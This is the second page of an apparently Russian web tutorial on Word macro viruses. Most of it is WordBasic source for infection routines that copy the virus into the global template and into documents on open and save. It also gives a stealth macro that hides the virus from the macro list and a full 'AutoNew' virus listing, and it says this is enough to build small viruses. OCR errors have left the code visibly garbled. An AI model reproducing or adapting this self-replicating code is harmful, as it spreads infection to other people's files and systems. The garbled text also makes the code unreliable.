Смекни!
smekni.com

Макровирусы (стр. 2 из 2)

iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))

sMe$=FileName$()

Macro$=sMe$+":PayLoad"

MacroCopy Macro$, "Global:PayLoad", 1

Macro$=sMe$+":FileOpen" 'Будет происходить заражение

MacroCopy Macro$, "GlobahFileOpen", 1

Macro$=sMe$+":FileSaveAs"

MacroCopy Macro$, "GlobahFileSaveAs", 1

Macro$=sMe$+":AutoExec"

MacroCopy Macro$, "GlobahAutoExec", 1

SetProfileString "WW6I", Str$(iWW6llnstance+1)

End If

Abort:

End Sub

Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении
через команду File/SaveAs. Эта процедура использует во многом схо-
жую с процедурой AutoExec технологию. Код для нее:

Sub MAIN

Dim dig As FileSaveAs

GetCurValues dig

Dialog dig

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"

'Заражает при сохранении документа
MacroCopy "FileSave", WindowName$()+":FileSave"
MacroCopy "PayLoad", WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen"

'При открытии документа
Dlg.Format=1
End If

FileDaveAs dig
End Sub

Этой информации вполне достаточно для создания небольших макро-
вирусов.

Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более
эффективным. Например, можно создать специальный макрос, прячу-
щий вирус, если Tools/Macro открывается для просмотра. Код такого
макроса может выглядеть примерно так:

Sub MAIN
On Error Goto ErrorRoutine

OldName$=NomFichier$()

If macros.bDebug Then

MsgBox "start ToolsMacro"

Dim dig As OutilsMacro

If macros.bDebug Then MsgBox "1"

GetCurValues dig

If macros.bDebug Then MsgBox "2"

On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:

On Error Goto ErrorRoutine 'При ошибке на выход
End If

REM enable automacros
DisableAutoMacros 0

macros. SavToGlobal(01dName$)

macros.objectiv

Goto Done 'Переход на метку Done

ErrorRoutine:

On Error Goto Done "Переход на метку Done
If macros.bDebug Then

MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке
End If

Done:

End Sub

Макро-вирусы также могут включать внешние процедуры. Например,
вирус Nuclear пытается откомпилировать и запустить внешний
файл-разносчик вируса, некоторые троянские макросы пытаются фор-
матировать винчестер при открытии документа.

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло
время рассмотреть исходные тексты.

Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN

'Включаем обработку автоматических макросов
DisableAutoMacros 0

'Проверим, установлен ли макрос. Если макрос AutoExec
'присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then

'Заразим. Копируем макрос

MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1

MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1

MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1

MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1

MacroCopy WindowName$()+":DateiSpeichernUnter",

"Global.-DateiSpeichernllnter", 1

MacroCopy WindowName$()+":DateiBeenden",

"GlobahDateiBeenden", 1

MacroCopy WindowName$() + ": ExtrasOptionen ",

"Global :ExtrasOptionen", 1

MacroCopy WindowName$()+":DateiDokvorlagen",

"GlobaLDateiDokvorlagen", 1

MacroCopy WindowName$()+":lt", "Global:lt", 1

MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1

End If

End Sub

'Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed

'Установим переменную Installed в 0 (инициализация переменной).
"При положительном результате проверки установим ее в 1
lnstalled=0

'Проверим, есть ли макросы
If CountMacros(O) > 0 Then

"Проверим имена макросов. Если есть AutoExec,

"установим переменную Installed в 1

For i=1 To CountMacros(O)

If MacroName$(i, 0)="AutoExec" Then

lnstalled=1

End If

Next i

End If

End Function

Function Forgetit

Forgetlt=0

Section$="Compatibility"

ProfilName$="Nomvir"

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$="Ox0690690" Then

Forgetlt=1

End If

End Function